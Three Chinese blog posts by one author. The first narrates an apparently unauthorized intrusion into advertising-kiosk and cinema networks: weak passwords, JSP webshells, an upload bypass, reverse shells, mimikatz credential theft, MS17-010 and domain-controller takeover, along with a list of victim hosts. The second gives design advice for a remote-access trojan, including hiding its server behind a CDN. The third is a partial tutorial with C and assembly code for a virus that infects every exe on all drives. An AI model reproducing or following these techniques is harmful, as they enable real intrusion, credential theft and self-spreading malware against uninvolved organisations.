弱口令惨案

开始

闲着无聊,在fofa上搜些奇怪的东西完,然后一个奇怪的东西引起了我的注意
QQ截图20201120181450.png
重点是这次是一连好几个一起出现,我想着可能有好玩的了。就开始随手测试了起来

弱口令

一连七八个站,随手试试admin/admin,admin/123456这类密码,在我打开第二个站的时候成功进去了,界面是这样的
2.png
惯例,试图getshell,在节目编辑这里,我看到了一些奇怪的东西
3.png
这个jsp就十分的灵性,直接点击编辑,修改jsp代码,光速getshell
4.png

挖洞

getshell下来了,那么肯定垂涎其他站啊,毕竟好多站都是这个cms,而且里面还有这么多台机器。首先进数据库看了下用户。
很好,sha1加密,解得开的登不上,解不开的。。。那就解不开了
5.png
并没有什么通用密码,而且访问所有jsp都会跳转到首页,没办法,只好先去翻配置文件
6.png
直接暴露了个上传接口,lucky,二话不说打开看看
photo_2020-11-20_18-29-42.jpg
可以访问,不怕你安全性高,就怕你全部路由都需要验证。
立刻下载源码拉进ld-gui去审计看看
upload.jpg
爷傻了,任意文件上传,只要带mp3在文件名任意位置就能上传任意格式的文件。
这时候我们再回到配置文件
7.png
只设置了jsp是要跳转。。然而你忘了jspx。。
于是乎
8.png
好的这套的控制器基本就全都拿下来了

反日小鸡

既然控制器都解决了,辣么接下来肯定是想办法日到小鸡了啊,毕竟这都是广告控制牌。十分的好玩。机器数量还不是一般的多
9.png
首先我们先看远端管理功能,发现了有些什么打开vnc/teamview这些功能
10.png
跟进源码发现
11.png
并没有什么软用,这时候我们把目标转向广告分发功能
image_2020-11-20_03-56-19.png
发现了下载这个关键词,我们大胆猜测一下,虽然这个预览是本地显示jsp路径的,按照逻辑上来讲应该是远程访问这个地址然后加载广告,那么有了这个下载功能会不会是本地加载?
二话不说打个写个html下去
image_2020-11-20_03-56-45.png
远程查看结果人家真的显示了html,辣么二话不说,打个xss下去
12.png
结果人家真tmd是本地jsp环境加载的。
直接写个反弹jsp的shell
fantanshell.png
上线成功
13.png
直接修cs里去

小鸡渗透--内网漫游

本来这时候应该先审计小鸡源码的然后先把小鸡都拿了,然鹅我看到了这玩意有域,就先搞起来了
yukong.png
先mimiktz读凭据,然后用cs自带的扫描器扫内网,目前手头只有一个凭据
pinju.png
然后用这个凭据批量登录
psexec.png
最后发现,只有同计算机名的机器上线了
tongwork.png
进去看了下似乎都是广告机
之后,对着各个Ladon和各种工具走起,发现了10,11,40,50,150这些内网网段,初步计算下来,估计至少有500台。
使用MS17010先跨网段耍一耍。
无标题.png
随便日了几台
无标题2.png
发现这似乎是有规律的,都是[a-z][a-z]mgr01开头的密码,这还不立刻SmbScan,然而手头机器拉跨,而且半夜机器会自动下线就很烦于是乎我就关机了。
然后第二天一打开
photo_2020-11-24_02-13-47.jpg

我淦,当场抓获,管理员tmd在杀毒。上了个MSE,虽然很好过,但是也对我们造成了不小麻烦。因为前几天都是用cs的小鸡直接打的估计有写管理机进得去但是正好被杀了于是乎被管理发现了。十分的烦。

然后我花了点时间好不容易整出个可持久化的免杀工具,也就是这个:https://github.com/9bie/shellcode

然后等我万事俱备再上线一看
photo_2020-11-24_02-16-33.jpg
tmd被管理员降权了,可恶。
photo_2020-11-24_02-17-03.jpg
wdnmd,不过最后好在隔壁217机器没被降权,继续用终端机下发了个马过去
photo_2020-11-24_02-18-02.jpg
然后机器又关机了
第二题,经过几天研究,在那么多ms17010中,我们发现除了10.8是08,其他都是win7并且都在域内后面带.LOCAL,于是乎我们怀疑10.8是关键服务器,然而除了第一次打进去之后掉线之外,这台服务器就再也没被我们打进去过。

九世, [28.11.20 02:10]
192.168.10.8 MS17-010 SHAREPINT  [Win 2008 R2 Standard 7600]
192.168.20.147 MS17-010 KS16POS47 kaohsiungtw.local [Win Embedded Standard 7601 SP 1]
192.168.20.119 MS17-010 KS16POS19 kaohsiungtw.local [Win Embedded Standard 7601 SP 1]
192.168.20.117 MS17-010 KS16POS17 kaohsiungtw.local [Win Embedded Standard 7601 SP 1]
192.168.20.110 MS17-010 KS16POS10 kaohsiungtw.local [Win Embedded Standard 7601 SP 1]
192.168.40.51 MS17-010 TCKIOSK01 tigercitytw.local [Win 10 Pro 10586]
192.168.40.52 MS17-010 TCKIOSK02 tigercitytw.local [Win 10 Pro 10586]
192.168.40.54 MS17-010 TCKIOSK04 tigercitytw.local [Win 10 Pro 10586]
192.168.40.102 MS17-010 TT10POS02 tigercitytw.local [Win Embedded Standard 7601 SP 1]
192.168.40.104 MS17-010 TT10POS04 tigercitytw.local [Win Embedded Standard 7601 SP 1]
192.168.40.106 MS17-010 TT10POS06 tigercitytw.local [Win Embedded Standard 7601 SP 1]
192.168.40.211 MS17-010 TCPLASMA01 tigercitytw.local [Win 7 Professional 7601 SP 1]
192.168.40.214 MS17-010 TCPLASMA04 tigercitytw.local [Win 7 Professional 7601 SP 1]
192.168.40.215 MS17-010 TCPLASMA05 tigercitytw.local [Win 7 Professional 7601 SP 1]
192.168.50.137 MS17-010 TN9POS37 tainantw.local [Win Embedded Standard 7601 SP 1]
192.168.50.136 MS17-010 TN9POS36 tainantw.local [Win Embedded Standard 7601 SP 1]
192.168.70.114 MS17-010 HS11POS14 hsinchutw.local [Win Embedded Standard 7601 SP 1]
192.168.70.112 MS17-010 HS11POS12 hsinchutw.local [Win Embedded Standard 7601 SP 1]
192.168.70.106 MS17-010 HS11POS06 hsinchutw.local [Win Embedded Standard 7601 SP 1]
192.168.70.104 MS17-010 HS11POS04 hsinchutw.local [Win Embedded Standard 7601 SP 1]
192.168.70.107 MS17-010 HS11POS07 hsinchutw.local [Win Embedded Standard 7601 SP 1]
192.168.70.235 MS17-010 MW1302T-728-PC  [??渀?漀?猀???倀?漀昀攀猀猀?漀渀愀氀??? ???攀?瘀?挀攀?倀愀挀欀??]
192.168.70.215 MS17-010 HSPLASMA05 hsinchutw.local [Win 7 Professional 7601 SP 1]
192.168.80.107 MS17-010 QSPOS07 QSQUARETW.LOCAL [Win Embedded Standard 7601 SP 1]
192.168.80.103 MS17-010 QSPOS03 QSQUARETW.LOCAL [Win Embedded Standard 7601 SP 1]
192.168.90.216 MS17-010 BQISHOW01  [Win 8.1 Pro 9600]
192.168.100.170 MS17-010 BCBIONB01 BigCitytw.local [Win 7 Professional 7601 SP 1]
192.168.100.144 MS17-010 BCPOS44 BigCitytw.local [Win Embedded Standard 7601 SP 1]
192.168.100.146 MS17-010 BCPOS46 BigCitytw.local [Win Embedded Standard 7601 SP 1]
192.168.110.128 MS17-010 TZPOS28 TaiZhongtw.local [Win Embedded Standard 7601 SP 1]
192.168.110.137 MS17-010 TZPOS37 TaiZhongtw.local [Win Embedded Standard 7601 SP 1]
192.168.120.117 MS17-010 NFPOS17 NanFangtw.local [Win Embedded Standard 7601 SP 1]
192.168.120.235 MS17-010 MW1302T-7A-PC  [Win 7 Professional 7601 SP 1]

一度怀疑是否是pipe管道被我们破坏了,甚至试图想用bluekeep(0708)把这服务器打蓝屏重启然后再用ms17-010进去。

直到今天终于又把这个打进去了。

photo_2020-11-28_04-06-55.jpg

这时候我们光速mimikatz和dumphash
2.jpg
收获凭据无数。这时候我们一看,administrator密码是P@ssword,典型弱口令。

我人傻了,我再也不小瞧爆破了,可以肯定的是,这个密码绝对在我的字典里,以前我非常小瞧爆破和弱口令,觉得这么傻的东西肯定不会有人设置,就算有人设置我也肯定遇不到,然而今天还是遇到了,下次绝对实现跑弱口令试试了,就因为这耽搁了好久。

既然关键服务器拿下了,那么其他就简单了,批量撞密码走起
piliang.jpg
好,登录
35.jpg
40.jpg
还有kvm

在桌面发现密码,以及mimikatz又抓出很多密码
36.jpg
37.jpg

并且这个用户直接是域管

用这个密码直接登录域控。
yukong.jpg
好,这个段的域控拿下了,抓了密码,基本都一样,最后怀疑所有域控密码都一样,随便试了几个,确实是这样。

同时看了下,这个域内其他机器,都是管理控制台中的其他广告机以及其他设备

所以可以宣告第二阶段任务暂时结束。内网基本可以任意漫游了。接下来九是第三阶段摸清拓扑和一些域外机器了,感觉那些机器肯定更有意思。

最后根据域内机器dns信息,我找到了这个段的官网

结合官网以及机器名来看,我们说不定能偷到电影或者在线陪看也说不定,

所以下个目标基本就是NAS和摄像头拉

摸清拓扑

因为现在是大半夜,刺激点,直接上去nmap走16段走起
QQ截图20201203212946.png
在nmap的同时,我们用nbtscan和netview手头的信息,先把10段所有的域控拿了,10段非常有意思,他们里面不是一个域,而是很多个域的主机都在一起。
根据主机名,我们直接把目标盯上10.34这台
QQ截图20201204160448.png
同时nmap扫描结果也出来了
QQ截图20201204160553.png
这台目标已经是在我们的拿下的域控里面,所以利用域管的凭据是可以直接登录的。然而没开3389,现在依旧是传统艺能psexec过去传马?
然而仔细观看发现,域内99%的windows主机都有运行开启6129,也就是damewaremr这款远程控制软件,我们直接用这台机器登录。
上去二话不说,直接找数据库配置文件
QQ截图20201204161111.png
先进本机数据库,捞东西
photo_2020-12-04_16-11-51.jpg
2.jpg
得到了大致的人员职称以及大致拓扑图。根据图二和nmap结果可以看出,我们的入口点是从150段进来的,然后除了11段之外,其他网段数据都和11段结构十分类似,而150段又被我们扫烂了,所以直接把目标瞄准11段
顺带捞一下字典
photo_2020-12-01_01-11-09.jpg
虽然可能没什么用但是先存了吧。

之后直接登录11段内的机器,根据之前捞到的职位表,我们先进一个
zixun.png
根据用户名,我们不难找到他们的机器
11.png
照旧,先探索他们所在的域控。域控名称为VIESHOW。利用其他域控的密码试图登录域管,登录成功,然后用dw直接登录他们的机器
dw.png
登录成功,之后直接利用RDP劫持切换用户
ok.jpg
看样子还似乎是个笔记本

见鬼,你们笔记本都丢公司不带走的么?

之后直接捞文件
zhuo.jpg
zuopu.jpg
完整拓扑到手
photo_2020-12-04_17-05-16.jpg
再根据之前保存的字典跑一下这个表,解开了

最后根据chrome上保存的页面和收藏的标签
oa.jpg
和outlook里面的记录
mail.jpg

我们知道了OA主机和主要交流方式(outlook)

结语

最后,我们基本就完全拿下了这个内网。回顾下整个攻击,可以发现ms17是真的好用,就靠这个ms17盘活全部局面,不过站在事后马后炮一下,可以发现,我过度的轻视弱口令对于smb的探测了,因为可能我个人实在不相信会用弱口令作为系统服务器密码的,只不过没想到真的有,如果使用早点使用弱口令扫描器也能盘活整个局面不至于在这地方卡半天。

这次能日下这个归根结底运气是非常大一部分,从fofa随便搜到cms批量再到随便选中一个就发现这个内网再到正好有一台08的机器有ms17,可谓是渗透全靠缘分,有时候缘分到了就日进去了(狗头。。。

最后直接走人,日穿完也就没啥意思了,溜了溜了

Tags: 渗透

RAT开发小结

前言

最近闲着无聊又一次重构了这个项目:manager,这次算是最终比较完善的版本了

index.png

从去年断断续续的摸鱼到最近,总算整出了一套勉强能用的版本的。

其实rat原理上非常简单,无非就是控制端下发,然后被控端执行,最后把执行结果都给提交了上去。

从最开始的C/S,到现在的B/S,都尝试过,也用过C/PY/GOLANG分别写过马和控制端,先说说出我的经验吧。

架构选择

架构无非就是两种,一种C/S一种B/S,说是这么说,其实原理上也都是C/S,B/S只不过是再C/S的基础上加了个C/B通讯的过程而已。

如果你想要的是快速开发,重点在于可用性而不是易用性,那么我这推荐直接用C/S+cli,gui都不用写。方便快捷。当然如果要好用,而且还要好用的控制其他机器,那么gui肯定是必不可少的。

语言选择

如果不是对程序体积以及内存占用要求严格,在没有高超底层编写基础上,十分不推荐上C/C++来作为首选语言。虽然C/C++优点是这其中最多的,又快又小又灵活,但是同样缺点也很多,跨平台会很麻烦,并且不想其他"现代"语言一样有很多十分方便的库可以调用,想写一个东西直接调用就行,而且还和编写者水平挂钩,一不小心代码就会变的很shit(没错我的代码就是这么shit

golang暂时比较推荐,也是我目前再用的,然而,这编译出来的体积是真的不敢恭维,同时部署开发环境的时候也略微麻烦,但是优点也很明显,跨平台十分的轻松,而且语法也挺简单,C一样简单的语法C差不多的性能,如果没有这鬼畜的体积我绝对会吹爆golag

py是开发最轻松也是最灵活但也是最不灵活的。毕竟是脚本语言,会出现各种奇奇怪怪的问题,会整的你非常非常的迷惑,稳定性不能保证,但是作为控制端开发来说,py是最舒服的,毕竟他是脚本。同时还有个好处就是很多linux会自带python,但是还是归根一点,稳定性很捉急,所有东西都装了但是就是莫名其妙的跑不起来,非常的蛋疼

协议选择

TCP/UDP这类型的协议我就不说什么了,这里大家自行判断,我们这里说的是轮询类还是tcp那种长连接类保持。

tcp长连接类型的好处就是,操作反馈非常及时,最早的gh0st,上兴灰鸽子都是这种模式,然而缺点也很大,就是后台直溜溜的一个tcp链接,十分容易被发现。并且会收到网络波动影响。

轮询类的就是类似cs那种,缺点就是操作反馈不及时,必须等待各种间隔才能交换数据,这对于即时操作体验很麻烦。

所以最好的办法就是两种结合,普通模式轮询遇到特殊模式就建立tcp链接然后实时交换数据,然而这就也挺考研变成功底的

所以如果不考虑隐蔽性而注重体验那就直接走tcp最简单也最轻松,注重隐蔽性就走https,有时间有水平就上两者结合

服务端的一些小tips

接上条,如果选择轮询,还有一个优点是,你可以使用http/https,然后套个CDN,可以有效的隐蔽源服务端,当然这就肯定得预留个tips来设置http的请求头中CDN设置的客户的源IP

目前就想到这么多啦

Tags: 木马, rat, 远控

自己动手打造一份熊猫烧香

发到土司顺手发出来,应该没事吧

前言 2020-04-20

其实最开始学计算机的念头,就是想打造一份,类似熊猫烧香一样的蠕虫。在12岁时候的我的眼里,能自我复制,感染,传播。简直就仿佛是拥有了生命一般,而最令我向往的,是自己创造了这类似生命一般的东西,这份想法诱导了我学编程的路。可以说今天这些水平和这个想法完全脱离不了干系。

虽说现在早就弄懂原理,但是还是没有真正的自己 写过一次。前几年也写过,但是那只是用易语言造的拙劣的小玩具。

于是乎,现在,我们开始动手,一步一步手动的,打造属于我们自己的,“病毒吧”

原理

照旧,简明概述原理。
直接手动构造一份shellcode,这份shellcode就是我们的病原,存在我们初始程序中,这份shellcode的功能就是,自动提取当前程序PE数据段.biev的数据,然后遍历全盘exe,检测PE头信息如果没有被感染就新建PE段把提取出来的数据载入进去之后加一个然后再运行原来的宿主程序。
以上我们只的打造了病原,然年后我们在把这个shellcode手动从程序中提取出来,注射到别的程序的.biev(手动构造)的段中,这份病毒才是正确运行起来,原理就这么多,那么我们话不多说,开写吧。

开始

因为是shellcode,首先就是找ker32的基质。有很多种办法,我们的话就随便选一个办法,直接搜索SEH链表找吧。原理就不概述了,直接百度吧。链接我也懒得放了,过于基础。

直接SEH实现也有两个办法,其中最简单的就是内联汇编。

PVOID ADDR = NULL;
    __asm {
        mov eax, fs:0x30; PEB的地址
        mov eax, [eax + 0x0c]; Ldr的地址
        //mov esi, [eax + 0x1c]; Flink地址
        mov esi, [eax + 14h]
        lodsd
        mov eax, [eax]
        mov eax, [eax + 10h]; eax就是kernel32.dll的地址
        mov ADDR, eax
    }

但是这样鬼知道啊,为了秉着教学的原则。我们把结构体和代码段全部用C的形式表现出来吧
首先是需要几个结构体

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;



typedef struct _PEB_LDR_DATA
{
    DWORD Length;
    UCHAR Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID EntryInProgress;
}PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    DWORD SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    DWORD Flags;
    WORD LoadCount;
    WORD TlsIndex;
    LIST_ENTRY HashLinks;
    PVOID SectionPointer;
    DWORD CheckSum;
    DWORD TimeDateStamp;
    PVOID LoadedImports;
    PVOID EntryPointActivationContext;
    PVOID PatchInformation;
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB
{
    UCHAR InheritedAddressSpace;
    UCHAR ReadImageFileExecOptions;
    UCHAR BeingDebugged;
    UCHAR SpareBool;
    PVOID Mutant;
    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    //......  
}PEB, *PPEB;

然后是核心

PLDR_DATA_TABLE_ENTRY pLdrDataEntry = NULL;
    PLIST_ENTRY pListEntryStart = NULL, pListEntryEnd = NULL;
    PPEB_LDR_DATA pPebLdrData = NULL;
    PPEB pPeb = NULL;
    PDWORD pKernelAddr = NULL;
__asm
    {
        //1、通过fs:[30h]获取当前进程的_PEB结构  
        mov eax, dword ptr fs : [30h];
        mov pPeb, eax
    }

    //2、通过_PEB的Ldr成员获取_PEB_LDR_DATA结构  
    pPebLdrData = pPeb->Ldr;

    //3、通过_PEB_LDR_DATA的InMemoryOrderModuleList成员获取_LIST_ENTRY结构  
    pListEntryStart = pListEntryEnd = pPebLdrData->InMemoryOrderModuleList.Flink;

    //查找所有已载入到内存中的模块  
    int i = 0;
    do
    {
        //4、通过_LIST_ENTRY的Flink成员获取_LDR_DATA_TABLE_ENTRY结构  
        pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)CONTAINING_RECORD(pListEntryStart, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

        //5、输出_LDR_DATA_TABLE_ENTRY的BaseDllName或FullDllName成员信息  
        printf("%S %x %d\n", pLdrDataEntry->BaseDllName.Buffer,pLdrDataEntry->DllBase,i);
        if (i == 2) {// 一般第三个就是kernel地址
            //保存
            pKernelAddr = pLdrDataEntry->DllBase;
            break;
        }
        pListEntryStart = pListEntryStart->Flink;
        i++;


    } while (pListEntryStart != pListEntryEnd);
    if (pKernelAddr == NULL)return;//获取失败了
    
    PDWORD _addr = NULL;
    PCHAR _funcname = NULL;
    DWORD  _base_addr = pKernelAddr;

    PIMAGE_DOS_HEADER pdh = (PIMAGE_DOS_HEADER)_base_addr;
    
    PIMAGE_NT_HEADERS pnt = (PIMAGE_NT_HEADERS)(_base_addr + pdh->e_lfanew);

    PIMAGE_EXPORT_DIRECTORY pexports = (PIMAGE_EXPORT_DIRECTORY)(_base_addr +
        pnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    PDWORD _Functions = (PDWORD)(_base_addr + pexports->AddressOfFunctions);
    PDWORD _Name = (PDWORD)(_base_addr + pexports->AddressOfNames);
    PWORD _NameOrdinals = (PWORD)(_base_addr + pexports->AddressOfNameOrdinals);
for (DWORD i = 0; i < pexports->NumberOfNames; i++) {

        //if (_hash_calc(_base_addr + _Name[i]) == _hash_calc(<FunctionName>)) {
        
        _addr = _base_addr + _Functions[_NameOrdinals[i]];
        _funcname = _base_addr + _Name[i];
        //printf("%s----%x\n", _funcname, _addr);
        
        int j = 0;
        int status = TRUE;//超不优雅的状态机
        char *cmp2 = "GetProcAddress";
        char *cmp1 = "LoadLibraryA";
        char *cmp3 = "GetLogicalDrives";
        /*
        char *cmp4 = "HeapAlloc";
        char *cmp5 = "GetProcessHeap";
        char *cmp6 = "HeapFree";
        char *cmp7 = "FindFirstFile";
        char *cmp8 = "FindNextFile";
        */
        // 这个查找太TMD蠢了
        while (_funcname[j] != '\0' || cmp1[j] !='\0') {
            if (_funcname[j] != cmp1[j]) {
                status = FALSE;
                break;
            }
            j++;
        }
        if (_funcname[j] == cmp1[j] && status) {
            pLoadLibrary = _addr;
        }
        // 归零进行下一个函数查找 
        status = TRUE;
        j = 0;
        while (_funcname[j] != '\0' || cmp2[j] != '\0') {
            if (_funcname[j] != cmp2[j]) {
                status = FALSE;
                break;
            }
            j++;
        }
        if (_funcname[j] == cmp2[j] && status) {
            pGetProcAddress = _addr;
        }
        // 同上
        status = TRUE;
        j = 0;
        while (_funcname[j] != '\0' || cmp3[j] != '\0') {
            if (_funcname[j] != cmp3[j]) {
                status = FALSE;
                break;
            }
            j++;
        }
        if (_funcname[j] == cmp3[j] && status) {
            pGetLogicalDrives = _addr;
        }
    }
    printf("%x %x \n", pGetProcAddress, pLoadLibrary);
    pLoadLibrary_ Loadlibrary_ = pLoadLibrary;
    pGetProcAddress_ GetProcAddress_ = pGetProcAddress;

按照上面的代码,就是用来搜索kernel32的地址和一些其他函数的地址。
这样看来汇编的偏移就懂了,那些所谓的偏移其实就是用来指向结构体的。只不过汇编中省略了结构体的定义而我们代码中表现了出来,但是代码中表现出来的最后也会转换为最上面那样简洁的汇编代码
其中

status = TRUE;
        j = 0;
        while (_funcname[j] != '\0' || cmp2[j] != '\0') {
            if (_funcname[j] != cmp2[j]) {
                status = FALSE;
                break;
            }
            j++;
        }

这种东西算是因为无法使用库函数strcmp而导致的,想使用函数只能使用 WINAPI或者C的内置操作符类似sizeof这种,其他都无法使用。
从上面这样子,我们就很容易的从kernel32中提取LoadLibraryGetProcAddress的地址,有了这两个地址,我们就能调用API辣

调用API的话,我们就可以遍历全盘文件了,遍历全盘用的是FindFirstFile,FindNextFile,pGetLogicalDrives_这几个,首先是遍历路径

WIN32_FIND_DATA fd_d,fd_f;//为了省去再去比较文件扩展名,所以设置一个查找目录一个查找可执行文件
    char *Full = "\\*.*";
    char *Exe = "*.exe";
    char *Driver = "E:\\";
    char PATH[MAX_PATH],PATH_[MAX_PATH];//一个用于给FindFirstFile作为查找,一个用于子目录拼接
    
    // strcat
    int i=0,j=0,k = 0;
    while (Driver[i] != '\0')
    {
        PATH[i] = Driver[i];
        i++;
    }
    PATH[i] = '\0';
    while (PATH[k] != '\0')// strcmp(PATH,PATH_)
    {
        PATH_[k] = PATH[k];
        k++;
    }
    PATH_[k] = '\0';

    while (Full[j] != '\0') { // PATH = Drivere (C:\\)+ *.* 
        PATH[i + j] = Full[j];
        j++;
    }
    PATH[i + j] = '\0';
    
    //strcpy(PATH, Driver);
    //strcpy(PATH_, PATH);
    //strcat(PATH, Full);
    HANDLE hFind;
    struct Node_Fd { PVOID Last ; HANDLE h; char PATH[MAX_PATH]; };
    // 把这个当成一个栈就行,和递归原理差不多
    // Last指向上一个Node
    // h保存上一次Find的Handle,用于遍历那个操作下下一个文件夹
    // PATH用户保存当前路径,为了拼接
    struct Node_Fd Instance;
    struct Node_Fd * sp;// sp啊,寄存器里的那个.jpg
    Instance.Last = NULL;
    Instance.h = NULL;
    //strcpy(Instance.PATH, PATH_);
    i = 0;
    while (PATH_[i] != '\0')
    {
        Instance.PATH[i] = PATH_[i];
        i++;
    }
    Instance.PATH[i] = '\0';
    sp = &Instance;
loop:
    hFind= FindFirstFile(PATH, &fd_d); // 开始从任意位置查找
    if (hFind != INVALID_HANDLE_VALUE) // 注意FindFirstFile的返回值是HANDLE
    {
        sp->h = hFind;
        do
        {
            if (fd_d.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            {    
                if (!strcmp(fd_d.cFileName, ".") || !strcmp(fd_d.cFileName, "..")) {continue;}
                printf("PATH:%s PATH_:%s\n ", PATH,PATH_);
                printf("[D]%s\\%s\n", PATH_,fd_d.cFileName);
                /*
                strcpy(PATH, PATH_);
                strcat(PATH, "\\");
                strcat(PATH, fd_d.cFileName);
                strcat(PATH_, "\\");
                strcat(PATH_, fd_d.cFileName);
                strcat(PATH, Full);
                */
                int i=0,j = 0;
                while (PATH_[j] != '\0') { // PATH = PATH_
                PATH[j] == PATH_[j];
                j++;
                }
                PATH_[j] = '\\';//PATH_ = PATH_ + //
                PATH[j] = '\\'; // PATH = PATH + //
                j++;
                while (fd_d.cFileName[i] != '\0') { //PATH = PATH + fd_d.cFileName
                PATH[j + i] = fd_d.cFileName[i];
                PATH_[j + i] = fd_d.cFileName[i];
                i++;
                }
                
                PATH_[j + i] = '\0';
                i = i + j;
                j = 0;
                while (Full[j] !='\0')// PATH = PATH + Full
                {
                    PATH[i + j] = Full[j];
                    j++;
                }
                PATH[j + i] = '\0';
                PBYTE pData = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(struct Node_Fd));
                struct Node_Fd * new_sp = pData;
                //struct Node_Fd * new_sp = malloc(sizeof(struct Node_Fd));//递归入栈
                new_sp->Last = sp;
                
                //strcpy(new_sp->PATH, PATH_);
                i = 0;
                while (PATH_[i] != '\0')// new_sp->PATH = PATH_
                {
                    new_sp->PATH[i] = PATH_[i];
                    i++;
                }
                new_sp->PATH[i] = '\0';
                sp = new_sp;
                goto loop;//如果还有下级目录就出栈
            }
        loop2:
            __asm {
                nop;
            }
        } while (FindNextFile(hFind, &fd_d)); // 继续查找,注意FindNextFile返回值是BOOL
    }
    if (sp->Last != NULL) {//当前目录搜索完了,检查是否还有上一层
        struct Node_Fd * free_sp = sp;
        FindClose(hFind);
        sp = sp->Last;
        hFind = sp->h;
        strcpy(PATH_, sp->PATH);
        HeapFree(GetProcessHeap(), 0, free_sp);

        //free(free_sp);
        goto loop2;
    }
    FindClose(hFind);

其中 struct Node_Fd { PVOID Last ; HANDLE h; char PATH[MAX_PATH]; };是手动构造的一个栈,因为不能调用函数,所以就这么写了,看代码可能有点难理解,但是实际上是个很简单的东西。

这样我们就能遍历路径了,接下来是遍历盘符

pGetLogicalDrives_ GetLogicalDrives_ = pGetLogicalDrives;
    DWORD dwDisk = GetLogicalDrives_();
    int dwMask = 1;
    int step = 1;
    dwMask << 1;
    char disks[9] = { '\0','\0','\0','\0','\0','\0','\0','\0','\0' };
    while (step < 32)
    {
        ++step;
        switch (dwMask&dwDisk)
        {
        case 1:
            disks[0] = "A";
            break;
        case 2:
            disks[1] = "B";
            break;
        case 4:
            disks[2] = "C";
            break;
        case 8:
            disks[3] = "D";
            break;
        case 32:
            disks[4] = "E";
            break;
        case 64:
            disks[5] = "F";
            break;
        case 128:
            disks[6] = "G";
            break;
        case 256:
            disks[7] = "H";
            break;
        default:
            break;
        }
        dwMask = dwMask << 1;
    }
    for (int i = 0; i < 9; i++) {
        if (disks[i] != '\0') {
                   // 未完待续

        }
    }

因为不能用函数调用,所以我定义了个盘符数组,用API判断完是否有这个盘符后,就放置在数组中等待便利,这样我们程序运行的时候,判断这个数组是否为0

如果不是那么就替换到遍历的路径中,然后跑一遍目录遍历,然后遍历下一个盘符数组,这样就达到了全盘感染的目的了。

总之到这里我就咕咕咕了,未完待续,什么时候有心情再天坑吧

继续 2020/5/26

以上,已经实现了枚举全盘exe路径,接下来我们就需要核心的感染部分,这部分其实百度有很多的,随便找个参考一下就行,我是 参考的是以下这份

用C语言给PE文件添加一个新 section

稍微按照上面修改一下就能用。
按照上面那个链接,我们可以在PE文件中插入自己的代码了,那么问题来了。
我们的payload怎么来呢?
很简单,我们只需要从目前自身程序的指定段提取出来就行了,代码如下

char *buff;
// 读取自身的payload
HANDLE hFile = CreateFile(
        szpath,//当前文件的路径,打开自己
        GENERIC_READ,
            0,
        NULL,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
//获取文件大小
DWORD dwFileSize = GetFileSize(hFile, NULL);
// CHAR *pFileBuf = new CHAR[dwFileSize];
char *pFileBuf = (char *)malloc(dwFileSize);
//将文件读取到内存
DWORD ReadSize = 0;
ReadFile(hFile, pFileBuf, dwFileSize, &ReadSize, NULL);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuf;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
    // 不是PE
    continue;
}

PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuf + pDosHeader->e_lfanew);
if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
    //不是PE文件
    continue;
    }
PIMAGE_FILE_HEADER        pFileHeader = &(pNtHeader->FileHeader);
PIMAGE_OPTIONAL_HEADER    pOptionalHeader = &(pNtHeader->OptionalHeader);
PIMAGE_DATA_DIRECTORY pDataDirectory = pOptionalHeader->DataDirectory;
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeader);
DWORD dwSectionNum = pFileHeader->NumberOfSections;
for (DWORD i = 0; i < dwSectionNum; i++, pSectionHeader++)
{
    char *name = (char *)malloc(IMAGE_SIZEOF_SHORT_NAME + 1);
    memset(name, 0, IMAGE_SIZEOF_SHORT_NAME + 1);
    for (DWORD j = 0; j < IMAGE_SIZEOF_SHORT_NAME; j++)
    {
        name[j] = pSectionHeader->Name[j];
    }
    if (!strcmp(name, ".newSec")) {
                                    
    memcpy(buff, pFileBuf + pSectionHeader->PointerToRawData, pSectionHeader->SizeOfRawData);
    buff = (char *)malloc(pSectionHeader->SizeOfRawData);
    }
    free(name);
}

能添加和写入payload了,接下来就是,如何执行我们的payload,毕竟目前只是写进去,还并没有执行。
最简单的办法就是直接修改OEP为我们的新区段就行
所以我们修改文件在

用C语言给PE文件添加一个新 section

里修改一下源文件的OEP:

pOH->AddressOfEntryPoint = secToAdd.VirtualAddress;  

添加这一行就行
很好,我们payload和插入的方法都有了,并且能执行我们的代码了,接下来还需要解决一个问题,就是,运行完我们插入的代码,还需要跳回正常的代码才行。
最最最简单的办法,就是直接在尾部添加一个jmp,然后跳回OEP,jmp的跳转是计算偏移,怎么计算呢?我们做个实验
TIM截图20200523014339.png
其中0000AE00是真实在文件力的位置
假设我们原来OEP是11073,新区段地址是20000。
直接11073-20000-5,其中5是jmp指令+32位寻址的长度,取32位数,也就是FFFF106E(这是补码)
然后按照低到高的顺序,手动用c32修改试试。
跳到0000AE00,TIM截图20200523014435.png
好,成功运行。
换成C代码后,就是

DWORD JMPTR = dwOEP - secToAdd.VirtualAddress - 0x5;

这里注意一下,原版的dwOEP代码是加上内存ImageBase的,我们为了计算,同时为了64位跳转(64位是没有ImageBase这个成员的,我们需要把原版代码的那行给注释掉

DWORD dwOEP = pOH->AddressOfEntryPoint;                                                // 程序执行入口地址VA
